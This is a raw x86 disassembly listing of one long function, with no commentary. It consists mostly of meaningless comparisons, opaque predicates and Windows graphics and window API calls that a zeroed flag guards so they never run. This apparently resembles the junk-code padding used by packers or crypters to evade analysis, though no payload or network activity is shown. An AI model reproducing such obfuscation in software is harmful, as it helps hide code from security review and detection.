mov eax, 0xb5cfda6c
test eax, eax
je 0x46f41d
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp + eax*4 - 0x108]
mov dword [ebp - 0x33c4], eax
mov eax, dword [ebp - 0x9c]
push 4
pop ecx
imul ecx, ecx, 0
mov ecx, dword [ebp + ecx - 0x108]
cmp dword [ebp + eax*4 - 0x108], ecx
jge 0x46f327
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x108], 0
je 0x46f327
mov dword [ebp - 0x1b74], 1
jmp 0x46f32e
and dword [ebp - 0x1b74], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x108]
cmp dword [ebp - 0x1b74], eax
jne 0x46f34f
mov dword [ebp - 0x1640], 1
jmp 0x46f356
and dword [ebp - 0x1640], 0
cmp dword [ebp - 0x1640], 0xfffffffe
jle 0x46f36b
mov dword [ebp - 0x24f4], 1
jmp 0x46f372
and dword [ebp - 0x24f4], 0
mov eax, dword [ebp - 0x9c]
mov eax, dword [ebp + eax*4 - 0x108]
mov dword [ebp - 0x2c90], eax
cmp dword [ebp - 0x9c], 0
jne 0x46f39c
or eax, 0xffffffff
jne 0x46f39c
and dword [ebp - 0x1e0c], 0
jmp 0x46f3a6
mov dword [ebp - 0x1e0c], 1
imul eax, dword [ebp - 0x1e0c], 0xcd90
push 4
pop ecx
shl ecx, 0
cmp eax, dword [ebp + ecx - 0x2914]
jle 0x46f3cb
mov dword [ebp - 0x1648], 1
jmp 0x46f3d2
and dword [ebp - 0x1648], 0
mov eax, dword [ebp - 0x1e14]
add eax, dword [ebp - 0x1648]
push 4
pop ecx
shl ecx, 0
sub eax, dword [ebp + ecx - 0x2914]
cmp eax, 0xffffffff
jle 0x46f3fc
mov dword [ebp - 0x1b7c], 1
jmp 0x46f403
and dword [ebp - 0x1b7c], 0
mov eax, dword [ebp - 0x9c]
cmp dword [ebp - 0x1b7c], eax
jg 0x46f41d
mov dword [ebp - 0x1650], 1
jmp 0x46f424
and dword [ebp - 0x1650], 0
cmp dword [ebp - 0x1650], 0x2053
jg 0x46f43c
mov dword [ebp - 0x1ff0], 1
jmp 0x46f443
and dword [ebp - 0x1ff0], 0
mov eax, dword [ebp - 0x234c]
cmp dword [ebp - 0x1ff0], eax
jg 0x46f45d
mov dword [ebp - 0x1658], 1
jmp 0x46f464
and dword [ebp - 0x1658], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x108]
cmp dword [ebp - 0x1658], eax
jle 0x46f485
mov dword [ebp - 0xae0], 1
jmp 0x46f48c
and dword [ebp - 0xae0], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xae0]
mov dword [ebp + eax - 0x108], ecx
mov eax, dword [ebp - 0xae0]
sub eax, dword [ebp - 0x9c]
add eax, dword [ebp - 0x260c]
mov dword [ebp - 0x1b84], eax
mov eax, dword [ebp - 0x1b84]
mov dword [ebp - 0x3064], eax
mov eax, dword [ebp - 0x1660]
mov dword [ebp - 0x2c9c], eax
cmp dword [ebp - 0x1e14], 6
jge 0x46f4e4
mov dword [ebp - 0x1668], 1
jmp 0x46f4eb
and dword [ebp - 0x1668], 0
mov eax, dword [ebp - 0x1668]
mov dword [ebp - 0x2354], eax
jmp 0x46f24a
mov dword [ebp - 0xec], 0xfffd
mov dword [ebp - 0x1e8], 0xafc1
mov dword [ebp - 0x394], 0xffffffff
push 1
lea ecx, [ebp - 0x28a8]
call fcn.0042dd3a
mov dword [ebp - 0x534], 0
jmp 0x46f540
mov eax, dword [ebp - 0x534]
inc eax
mov dword [ebp - 0x534], eax
cmp dword [ebp - 0x534], 1
jge 0x46f55f
push dword [ebp - 0x534]
lea ecx, [ebp - 0x28a8]
call fcn.0042de28
and dword [eax], 0
jmp 0x46f533
cmp dword [ebp - 0xec], 0
jne 0x46f646
cmp dword [ebp - 0xec], 0
jne 0x46f587
cmp dword [ebp - 0x1e8], 0
jne 0x46f587
and dword [ebp - 0x24fc], 0
jmp 0x46f591
mov dword [ebp - 0x24fc], 1
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x3414], eax
mov eax, dword [ebp - 0xec]
mov dword [ebp - 0x2ca8], eax
mov eax, dword [ebp - 0x1e8]
cmp dword [ebp - 0xec], eax
jg 0x46f5c3
mov dword [ebp - 0x1b8c], 1
jmp 0x46f5ca
and dword [ebp - 0x1b8c], 0
mov eax, dword [ebp - 0x1e8]
cmp dword [ebp - 0x1b8c], eax
jne 0x46f5e4
mov dword [ebp - 0x235c], 1
jmp 0x46f5eb
and dword [ebp - 0x235c], 0
mov eax, dword [ebp - 0x1e8]
mov dword [ebp - 0x306c], eax
cmp dword [ebp - 0x1e8], 0
je 0x46f611
xor eax, eax
inc eax
je 0x46f611
mov dword [ebp - 0x1670], 1
jmp 0x46f618
and dword [ebp - 0x1670], 0
cmp dword [ebp - 0x1670], 0xffffffff
jl 0x46f62d
mov dword [ebp - 0x1f68], 1
jmp 0x46f634
and dword [ebp - 0x1f68], 0
cmp dword [ebp - 0x1f68], 0xfffffff6
jg 0x46f646
and dword [ebp - 0x1678], 0
jmp 0x46f650
mov dword [ebp - 0x1678], 1
cmp dword [ebp - 0x1678], 1
je 0x46f665
mov dword [ebp - 0x1b94], 1
jmp 0x46f66c
and dword [ebp - 0x1b94], 0
mov eax, dword [ebp - 0xec]
cmp dword [ebp - 0x1b94], eax
je 0x46f686
mov dword [ebp - 0x1680], 1
jmp 0x46f68d
and dword [ebp - 0x1680], 0
mov eax, dword [ebp - 0x1680]
mov dword [ebp - 0x394], eax
mov dword [ebp - 0x1e8], 0x16
jmp 0x46f6b2
mov eax, dword [ebp - 0x1e8]
inc eax
mov dword [ebp - 0x1e8], eax
cmp dword [ebp - 0x1e8], 0x36
je 0x46f881
mov dword [ebp - 0x270c], 0xffffffff
mov dword [ebp - 0xec], 0
jmp 0x46f6e2
mov eax, dword [ebp - 0xec]
inc eax
mov dword [ebp - 0xec], eax
cmp dword [ebp - 0xec], 0
jg 0x46f87c
mov dword [ebp - 0x394], 0
jmp 0x46f708
mov eax, dword [ebp - 0x394]
dec eax
mov dword [ebp - 0x394], eax
cmp dword [ebp - 0x394], 0
jl 0x46f84e
mov dword [ebp - 0x53c], 0
jmp 0x46f72e
mov eax, dword [ebp - 0x53c]
inc eax
mov dword [ebp - 0x53c], eax
cmp dword [ebp - 0x53c], 3
jge 0x46f74a
mov eax, dword [ebp - 0x53c]
mov dword [ebp + eax*4 - 0x2638], 0xffffffff
jmp 0x46f721
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2638], 0
jmp 0x46f778
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x2638], 0
jg 0x46f828
push dword [ebp - 0x394]
lea ecx, [ebp - 0x28a8]
call fcn.0042de28
mov dword [ebp - 0x1e1c], eax
push 4
pop eax
shl eax, 0
push dword [ebp + eax - 0x2638]
lea ecx, [ebp - 0x28a8]
call fcn.0042de28
mov ecx, dword [ebp - 0x1e1c]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x1e1c]
cmp dword [eax], 0
je 0x46f7e0
xor eax, eax
je 0x46f7e0
mov dword [ebp - 0x1688], 1
jmp 0x46f7e7
and dword [ebp - 0x1688], 0
mov eax, dword [ebp - 0x1688]
mov dword [ebp - 0x270c], eax
mov byte [ebp - 0x2a4], 0
movzx eax, byte [ebp - 0x2a4]
test eax, eax
je 0x46f823
push 0x103d
push 0xf2c
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetPixel]
jmp 0x46f75d
mov byte [ebp - 0x365], 0
movzx eax, byte [ebp - 0x365]
test eax, eax
je 0x46f849
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_SetWindowTextA]
jmp 0x46f6fb
mov byte [ebp - 0x2a6], 0
movzx eax, byte [ebp - 0x2a6]
test eax, eax
je 0x46f877
push 0x1659
push 0x2109
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_CheckDlgButton]
jmp 0x46f6d5
jmp 0x46f6a5
lea ecx, [ebp - 0x28a8]
call fcn.0042de0c
mov dword [ebp - 0x1e4], 0
jmp 0x46f8a5
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 2
jge 0x46f8c7
push dword [ebp - 0x1e4]
lea ecx, [ebp - 0x2658]
call fcn.0042de28
mov dword [eax], 0x4b5e4957
jmp 0x46f898
mov dword [ebp - 0x2cb4], 1
mov dword [ebp - 0x33d4], 0xffffffff
mov dword [ebp - 0x2cbc], 1
mov dword [ebp - 0x3074], 0x8a137b18
mov dword [ebp - 0x54c], 0x1836ccb0
mov dword [ebp - 0x2cc4], 0x810d21df
mov dword [ebp - 0x341c], 0
push 4
lea ecx, [ebp - 0x3270]
call fcn.0042dd3a
mov dword [ebp - 0x1b9c], 0
mov dword [ebp - 0x544], 0
jmp 0x46f93d
mov eax, dword [ebp - 0x544]
inc eax
mov dword [ebp - 0x544], eax
cmp dword [ebp - 0x544], 4
jge 0x46f95c
push dword [ebp - 0x544]
lea ecx, [ebp - 0x3270]
call fcn.0042de28
or dword [eax], 0xffffffff
jmp 0x46f930
mov eax, dword [ebp - 0x1b9c]
inc eax
mov dword [ebp - 0x1b9c], eax
mov dword [ebp - 0x54c], 0
jmp 0x46f982
mov eax, dword [ebp - 0x54c]
inc eax
mov dword [ebp - 0x54c], eax
cmp dword [ebp - 0x54c], 0xb
jne 0x46f9b3
mov byte [ebp - 0x357], 0
movzx eax, byte [ebp - 0x357]
test eax, eax
je 0x46f9b1
push 0
push 0x173c
push 0xa3d
push 0
call dword [sym.imp.GDI32.dll_GetPaletteEntries]
jmp 0x46f975
lea ecx, [ebp - 0x3270]
call fcn.0042de0c
mov dword [ebp - 0x1e4], 0
jmp 0x46f9d7
mov eax, dword [ebp - 0x1e4]
inc eax
mov dword [ebp - 0x1e4], eax
cmp dword [ebp - 0x1e4], 3
jge 0x46f9f3
mov eax, dword [ebp - 0x1e4]
mov dword [ebp + eax*4 - 0x3290], 7
jmp 0x46f9ca
mov dword [ebp - 0x55c], 5
push 1
lea ecx, [ebp - 0x3280]
call fcn.0042dd3a
mov dword [ebp - 0x554], 0
jmp 0x46fa23
cmp dword [ebp - 0x554], 1
jge 0x46fa45
push dword [ebp - 0x554]
lea ecx, [ebp - 0x3280]
call fcn.0042de28
mov dword [eax], 0x6f9b
jmp 0x46fa16
mov dword [ebp - 0x55c], 0
jmp 0x46fa5e
mov dword [ebp - 0x738], 0
jmp 0x475b74
mov eax, dword [ebp - 0x738]
inc eax
mov dword [ebp - 0x738], eax
cmp dword [ebp - 0x738], 3
jge 0x475b90
mov eax, dword [ebp - 0x738]
mov dword [ebp + eax*4 - 0x2878], 0
jmp 0x475b67
mov byte [ebp - 0x26b], 0
movzx eax, byte [ebp - 0x26b]
test eax, eax
je 0x475ba8
call dword [sym.imp.KERNEL32.dll_SwitchToThread]
push 4
pop eax
shl eax, 1
mov dword [ebp + eax - 0x2878], 0
jmp 0x475bd3
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x2878]
inc eax
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x2878], eax
push 4
pop eax
shl eax, 1
cmp dword [ebp + eax - 0x2878], 0x15
jle 0x475c94
push 2
lea ecx, [ebp - 0x3360]
call fcn.0042dd3a
mov dword [ebp - 0x748], 0x942a1e94
mov dword [ebp - 0x740], 0
jmp 0x475c16
mov eax, dword [ebp - 0x740]
inc eax
mov dword [ebp - 0x740], eax
cmp dword [ebp - 0x740], 2
jge 0x475c35
push dword [ebp - 0x740]
lea ecx, [ebp - 0x3360]
call fcn.0042de28
and dword [eax], 0
jmp 0x475c09
mov dword [ebp - 0x748], 1
jmp 0x475c4e
mov eax, dword [ebp - 0x748]
dec eax
mov dword [ebp - 0x748], eax
cmp dword [ebp - 0x748], 0
jl 0x475c84
mov byte [ebp - 0x26d], 0
movzx eax, byte [ebp - 0x26d]
test eax, eax
je 0x475c82
push 0
push 0x1230
push 0
push 0xeff
push 0x1164
call dword [sym.imp.GDI32.dll_ExtCreatePen]
jmp 0x475c41
lea ecx, [ebp - 0x3360]
call fcn.0042de0c
jmp 0x475bba
xor ecx, ecx
call fcn.0042e0a5
push eax
call fcn.0047d353
pop ecx
mov dword [ebp - 0xa4], 0xdee21afa
mov dword [ebp - 0x154], 4
mov dword [ebp - 0x758], 0xfffffffd
mov dword [ebp - 0x14c], 0x898d08f4
mov dword [ebp - 0x3c4], 1
mov dword [ebp - 0x271c], 0x3734
mov dword [ebp - 0x2228], 0xffde63b6
mov dword [ebp - 0x750], 0
jmp 0x475d01
mov eax, dword [ebp - 0x750]
inc eax
mov dword [ebp - 0x750], eax
cmp dword [ebp - 0x750], 1
jge 0x475d1d
mov eax, dword [ebp - 0x750]
mov dword [ebp + eax*4 - 0x760], 0xe10ef7d5
jmp 0x475cf4
mov dword [ebp - 0xa4], 0x7603
cmp dword [ebp - 0xa4], 0
jne 0x475e79
cmp dword [ebp - 0xa4], 0
jne 0x475e79
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x31d4], eax
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x2e74], eax
cmp dword [ebp - 0x154], 0x58efa97f
jle 0x475d71
mov dword [ebp - 0x257c], 1
jmp 0x475d78
and dword [ebp - 0x257c], 0
imul eax, dword [ebp - 0xa4], 0xffffffff
cmp eax, 0x56411d7f
jg 0x475d92
mov dword [ebp - 0x1684], 1
jmp 0x475d99
and dword [ebp - 0x1684], 0
mov eax, dword [ebp - 0x154]
cmp dword [ebp - 0x1684], eax
je 0x475db3
mov dword [ebp - 0x168c], 1
jmp 0x475dba
and dword [ebp - 0x168c], 0
mov eax, dword [ebp - 0x154]
cmp dword [ebp - 0x168c], eax
jne 0x475dd4
mov dword [ebp - 0x1694], 1
jmp 0x475ddb
and dword [ebp - 0x1694], 0
mov eax, dword [ebp - 0x1694]
sub eax, dword [ebp - 0x154]
mov dword [ebp - 0x154], eax
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x154], eax
je 0x475e07
mov dword [ebp - 0x169c], 1
jmp 0x475e0e
and dword [ebp - 0x169c], 0
cmp dword [ebp - 0x169c], 3
jge 0x475e23
mov dword [ebp - 0x16a4], 1
jmp 0x475e2a
and dword [ebp - 0x16a4], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0x16a4], eax
jle 0x475e44
mov dword [ebp - 0x16ac], 1
jmp 0x475e4b
and dword [ebp - 0x16ac], 0
cmp dword [ebp - 0x16ac], 0xffffffff
ja 0x475e60
mov dword [ebp - 0x16b4], 1
jmp 0x475e67
and dword [ebp - 0x16b4], 0
cmp dword [ebp - 0x16b4], 2
jne 0x475e79
and dword [ebp - 0x16bc], 0
jmp 0x475e83
mov dword [ebp - 0x16bc], 1
cmp dword [ebp - 0x16bc], 0x5761
jge 0x475ea1
cmp dword [ebp - 0xa4], 0
jne 0x475ea1
and dword [ebp - 0x16c4], 0
jmp 0x475eab
mov dword [ebp - 0x16c4], 1
cmp dword [ebp - 0x16c4], 0x5243b9c3
jne 0x475ec3
mov dword [ebp - 0x16cc], 1
jmp 0x475eca
and dword [ebp - 0x16cc], 0
mov eax, dword [ebp - 0x758]
cmp dword [ebp - 0x16cc], eax
jle 0x475ee4
mov dword [ebp - 0x16d4], 1
jmp 0x475eeb
and dword [ebp - 0x16d4], 0
cmp dword [ebp - 0x16d4], 0
je 0x475f00
mov dword [ebp - 0x245c], 1
jmp 0x475f07
and dword [ebp - 0x245c], 0
mov eax, dword [ebp - 0x14c]
mov dword [ebp - 0x355c], eax
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x2e7c], eax
mov eax, dword [ebp - 0x758]
mov dword [ebp - 0x31e4], eax
xor eax, eax
jne 0x475f41
cmp dword [ebp - 0x758], 0
jne 0x475f41
and dword [ebp - 0x16dc], 0
jmp 0x475f4b
mov dword [ebp - 0x16dc], 1
mov eax, dword [ebp - 0x16dc]
mov dword [ebp - 0x758], eax
mov dword [ebp - 0xa4], 0
jmp 0x475f70
mov eax, dword [ebp - 0xa4]
inc eax
mov dword [ebp - 0xa4], eax
cmp dword [ebp - 0xa4], 0
jg 0x4761ad
mov dword [ebp - 0x2230], 0xbbdb817b
push 3
lea ecx, [ebp - 0x2b48]
call fcn.0042dd3a
push 1
lea ecx, [ebp - 0x2bb4]
call fcn.0042dd3a
mov dword [ebp - 0x144], 0
jmp 0x475fba
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 3
jge 0x475fdc
push dword [ebp - 0x144]
lea ecx, [ebp - 0x2b48]
call fcn.0042de28
mov dword [eax], 0xfffffffd
jmp 0x475fad
mov dword [ebp - 0x144], 0
jmp 0x475ff5
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 1
jge 0x476017
push dword [ebp - 0x144]
lea ecx, [ebp - 0x2bb4]
call fcn.0042de28
mov dword [eax], 0xfffffffa
jmp 0x475fe8
mov dword [ebp - 0x3c4], 0
jmp 0x476030
mov eax, dword [ebp - 0x3c4]
inc eax
mov dword [ebp - 0x3c4], eax
cmp dword [ebp - 0x3c4], 0
jg 0x476066
mov byte [ebp - 0x26f], 0
movzx eax, byte [ebp - 0x26f]
test eax, eax
je 0x47605a
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_EndDialog]
mov dword [ebp - 0x271c], 0xffffffff
jmp 0x476023
mov dword [ebp - 0x14c], 0
jmp 0x47607f
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0
jg 0x476192
mov dword [ebp - 0x16f4], 0
mov eax, dword [ebp - 0x14c]
cmp dword [ebp + eax*4 - 0x760], 0
je 0x47615c
mov eax, dword [ebp - 0x14c]
mov ecx, dword [ebp - 0x3c4]
cmp dword [ebp + eax*4 - 0x760], ecx
jge 0x4760cb
mov dword [ebp - 0x2224], 1
jmp 0x4760d2
and dword [ebp - 0x2224], 0
mov eax, dword [ebp - 0x14c]
mov eax, dword [ebp + eax*4 - 0x760]
mov dword [ebp - 0x2e84], eax
imul eax, dword [ebp - 0x2228], 0x213a
mov ecx, dword [ebp - 0x14c]
cmp eax, dword [ebp + ecx*4 - 0x760]
jge 0x476113
cmp dword [ebp - 0x2230], 0
je 0x476113
mov dword [ebp - 0x16e4], 1
jmp 0x47611a
and dword [ebp - 0x16e4], 0
mov eax, dword [ebp - 0x154]
cmp dword [ebp - 0x16e4], eax
jle 0x476134
mov dword [ebp - 0x16ec], 1
jmp 0x47613b
and dword [ebp - 0x16ec], 0
mov eax, dword [ebp - 0x16ec]
mov dword [ebp - 0x16f4], eax
cmp dword [ebp - 0x16f4], 0
je 0x47615c
mov dword [ebp - 0x9f0], 1
jmp 0x476163
and dword [ebp - 0x9f0], 0
push 1
lea ecx, [ebp - 0x2b48]
call fcn.0042de28
mov ecx, dword [ebp - 0x9f0]
mov dword [eax], ecx
push 0
lea ecx, [ebp - 0x2bb4]
call fcn.0042de28
mov ecx, dword [ebp - 0x9f0]
mov dword [eax], ecx
jmp 0x476072
lea ecx, [ebp - 0x2bb4]
call fcn.0042de0c
lea ecx, [ebp - 0x2b48]
call fcn.0042de0c
jmp 0x475f63
mov dword [ebp - 0x770], 0xfffffffc
push 2
lea ecx, [ebp - 0x3370]
call fcn.0042dd3a
mov dword [ebp - 0x768], 0
jmp 0x4761dd
mov eax, dword [ebp - 0x768]
inc eax
mov dword [ebp - 0x768], eax
cmp dword [ebp - 0x768], 2
jge 0x4761ff
push dword [ebp - 0x768]
lea ecx, [ebp - 0x3370]
call fcn.0042de28
mov dword [eax], 1
jmp 0x4761d0
mov dword [ebp - 0x770], 0
jmp 0x476218
mov eax, dword [ebp - 0x770]
dec eax
mov dword [ebp - 0x770], eax
cmp dword [ebp - 0x770], 0xfffffffc
jne 0x476247
mov byte [ebp - 0x271], 0
movzx eax, byte [ebp - 0x271]
test eax, eax
je 0x476245
push 0x1d91
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_MonitorFromWindow]
jmp 0x47620b
mov byte [ebp - 0x273], 0
movzx eax, byte [ebp - 0x273]
test eax, eax
je 0x476266
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
lea ecx, [ebp - 0x3370]
call fcn.0042de0c
mov dword [ebp - 0x3cc], 0xffff
mov dword [ebp - 0x498], 0x97f0a290
mov dword [ebp - 0x16fc], 0x3948b081
mov dword [ebp - 0x1724], 0xb9338886
mov dword [ebp - 0x3448], 0x90aec51
mov dword [ebp - 0x2e8c], 0x268dd2ac
push 3
lea ecx, [ebp - 0x2a04]
call fcn.0042dd3a
mov dword [ebp - 0x778], 0
jmp 0x4762d3
mov eax, dword [ebp - 0x778]
inc eax
mov dword [ebp - 0x778], eax
cmp dword [ebp - 0x778], 3
jge 0x4762f2
push dword [ebp - 0x778]
lea ecx, [ebp - 0x2a04]
call fcn.0042de28
and dword [eax], 0
jmp 0x4762c6
mov eax, dword [ebp - 0x3cc]
dec eax
mov dword [ebp - 0x3cc], eax
mov eax, dword [ebp - 0x3cc]
mov dword [ebp - 0x498], eax
mov dword [ebp - 0x16fc], 0xe9bf
mov eax, dword [ebp - 0x3cc]
cmp dword [ebp - 0x16fc], eax
jl 0x47632f
mov dword [ebp - 0x1704], 1
jmp 0x476336
and dword [ebp - 0x1704], 0
mov eax, dword [ebp - 0x498]
add eax, dword [ebp - 0x1704]
mov ecx, 0xe95a
sub ecx, eax
cmp ecx, 0x11d0
jge 0x47635d
mov dword [ebp - 0x170c], 1
jmp 0x476364
and dword [ebp - 0x170c], 0
cmp dword [ebp - 0x170c], 0xfffffff7
je 0x476379
mov dword [ebp - 0x1714], 1
jmp 0x476380
and dword [ebp - 0x1714], 0
mov eax, dword [ebp - 0x498]
cmp eax, dword [ebp - 0x1714]
jge 0x47639a
mov dword [ebp - 0x171c], 1
jmp 0x4763a1
and dword [ebp - 0x171c], 0
mov eax, dword [ebp - 0x3cc]
imul eax, dword [ebp - 0x171c]
cmp eax, dword [ebp - 0x3cc]
jge 0x476456
mov dword [ebp - 0x9f8], 0xfffffff6
mov eax, dword [ebp - 0x9f8]
mov dword [ebp - 0x31f4], eax
mov eax, dword [ebp - 0x498]
cmp dword [ebp - 0x9f8], eax
jg 0x4763ea
mov dword [ebp - 0x2238], 1
jmp 0x4763f1
and dword [ebp - 0x2238], 0
mov eax, dword [ebp - 0x1724]
cmp dword [ebp - 0x9f8], eax
je 0x47640b
mov dword [ebp - 0x2240], 1
jmp 0x476412
and dword [ebp - 0x2240], 0
cmp dword [ebp - 0x1724], 4
jb 0x476427
mov dword [ebp - 0x172c], 1
jmp 0x47642e
and dword [ebp - 0x172c], 0
mov eax, dword [ebp - 0x172c]
mov dword [ebp - 0x498], eax
mov byte [ebp - 0x275], 0
movzx eax, byte [ebp - 0x275]
test eax, eax
je 0x476454
push 0
call dword [sym.imp.USER32.dll_RegisterClassW]
jmp 0x4764b6
mov dword [ebp - 0x2e94], 1
mov dword [ebp - 0x34d8], 0
mov dword [ebp - 0x2e9c], 1
mov dword [ebp - 0x3204], 0xffffffff
mov dword [ebp - 0x2ea4], 0x1e7bf5cb
mov dword [ebp - 0x3450], 8
push 0
lea ecx, [ebp - 0x2a04]
call fcn.0042de28
mov dword [ebp - 0x1734], eax
mov eax, dword [ebp - 0x1734]
mov eax, dword [eax]
dec eax
mov ecx, dword [ebp - 0x1734]
mov dword [ecx], eax
lea ecx, [ebp - 0x2a04]
call fcn.0042de0c
mov dword [ebp - 0x2eac], 0x3a4a
mov dword [ebp - 0x2250], 0x4ee7d214
mov dword [ebp - 0x780], 0
jmp 0x4764ee
mov eax, dword [ebp - 0x780]
inc eax
mov dword [ebp - 0x780], eax
cmp dword [ebp - 0x780], 1
jge 0x47650a
mov eax, dword [ebp - 0x780]
mov dword [ebp + eax*4 - 0x788], 1
jmp 0x4764e1
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x788], 0x14
jmp 0x476538
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x788]
dec eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x788], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x788], 0xffffffe5
jge 0x476560
mov dword [ebp - 0x2248], 3
mov eax, dword [ebp - 0x2248]
mov dword [ebp - 0x2250], eax
jmp 0x47651d
mov dword [ebp - 0x3214], 0
mov dword [ebp - 4], 0xffffffff
mov dword [ebp - 0x7a0], 0xaea0a9f4
mov dword [ebp - 0xa00], 0x860c
mov dword [ebp - 0x790], 0
jmp 0x47659e
mov eax, dword [ebp - 0x790]
inc eax
mov dword [ebp - 0x790], eax
cmp dword [ebp - 0x790], 1
jge 0x4765ba
mov eax, dword [ebp - 0x790]
mov dword [ebp + eax*4 - 0x104], 0x648261f
jmp 0x476591
mov dword [ebp - 4], 0
jmp 0x4765ca
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 1
jge 0x4765e0
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x104], 1
jmp 0x4765c3
mov dword [ebp - 4], 0
jmp 0x4765f0
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jg 0x476a06
push 4
lea ecx, [ebp - 0x200c]
call fcn.0042dd3a
mov dword [ebp - 0x2258], 0x7d3d8e1c
or dword [ebp - 0x29a4], 0xffffffff
or dword [ebp - 0x29a0], 0xffffffff
or dword [ebp - 0x299c], 0xffffffff
or dword [ebp - 0x2998], 0xffffffff
lea ecx, [ebp - 0xb0d]
call fcn.0042de37
push eax
lea eax, [ebp - 0x2994]
push eax
lea eax, [ebp - 0x29a4]
push eax
lea ecx, [ebp - 0x3748]
call fcn.0042de3a
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x3380]
call fcn.0042dde6
mov dword [ebp - 0x2260], 0xfffffffc
mov dword [ebp - 0x798], 0
jmp 0x476685
mov eax, dword [ebp - 0x798]
inc eax
mov dword [ebp - 0x798], eax
cmp dword [ebp - 0x798], 4
jge 0x4766a7
push dword [ebp - 0x798]
lea ecx, [ebp - 0x200c]
call fcn.0042de28
mov dword [eax], 0xbd79
jmp 0x476678
mov eax, 0xfffa
test eax, eax
je 0x476778
mov eax, dword [ebp - 4]
mov dword [ebp - 0x2eb4], eax
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
mov ecx, dword [ebp + ecx*4 - 0x104]
cmp dword [ebp + eax*4 - 0x104], ecx
jge 0x4766df
mov dword [ebp - 0x173c], 1
jmp 0x4766e6
and dword [ebp - 0x173c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x104]
cmp dword [ebp - 0x173c], eax
je 0x476711
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x104], 0
jne 0x476711
and dword [ebp - 0x1744], 0
jmp 0x47671b
mov dword [ebp - 0x1744], 1
cmp dword [ebp - 0x1744], 0x1600
jl 0x476733
mov dword [ebp - 0x174c], 1
jmp 0x47673a
and dword [ebp - 0x174c], 0
mov eax, dword [ebp - 0x174c]
sub eax, 0x623b
cmp eax, 0xba87a5ea
jne 0x476758
mov dword [ebp - 0x1754], 1
jmp 0x47675f
and dword [ebp - 0x1754], 0
mov eax, dword [ebp - 0x1754]
add eax, 0xd1cb
je 0x476778
mov dword [ebp - 0x175c], 1
jmp 0x47677f
and dword [ebp - 0x175c], 0
mov eax, dword [ebp - 0x175c]
sub eax, 6
cmp eax, dword [ebp - 4]
jne 0x476799
mov dword [ebp - 0x1764], 1
jmp 0x4767a0
and dword [ebp - 0x1764], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x1764], eax
jl 0x4767b7
mov dword [ebp - 0x176c], 1
jmp 0x4767be
and dword [ebp - 0x176c], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x176c], eax
jge 0x4767d5
mov dword [ebp - 0x1774], 1
jmp 0x4767dc
and dword [ebp - 0x1774], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x104]
imul eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x1774]
jg 0x476808
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0x104], 0
jne 0x476808
and dword [ebp - 0x177c], 0
jmp 0x476812
mov dword [ebp - 0x177c], 1
mov eax, dword [ebp - 0x177c]
mov dword [ebp - 0x7a0], eax
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x104]
mov dword [ebp - 0x3564], eax
mov dword [ebp - 0x7a0], 1
push 2
lea ecx, [ebp - 0x200c]
call fcn.0042de28
mov ecx, dword [ebp - 4]
cmp dword [eax], ecx
je 0x476867
push 3
lea ecx, [ebp - 0x200c]
call fcn.0042de28
cmp dword [eax], 0
jne 0x476867
and dword [ebp - 0x1784], 0
jmp 0x476871
mov dword [ebp - 0x1784], 1
cmp dword [ebp - 0x1784], 0xfffffff7
jg 0x476895
push 0
lea ecx, [ebp - 0x200c]
call fcn.0042de28
cmp dword [eax], 0
jne 0x476895
and dword [ebp - 0x178c], 0
jmp 0x47689f
mov dword [ebp - 0x178c], 1
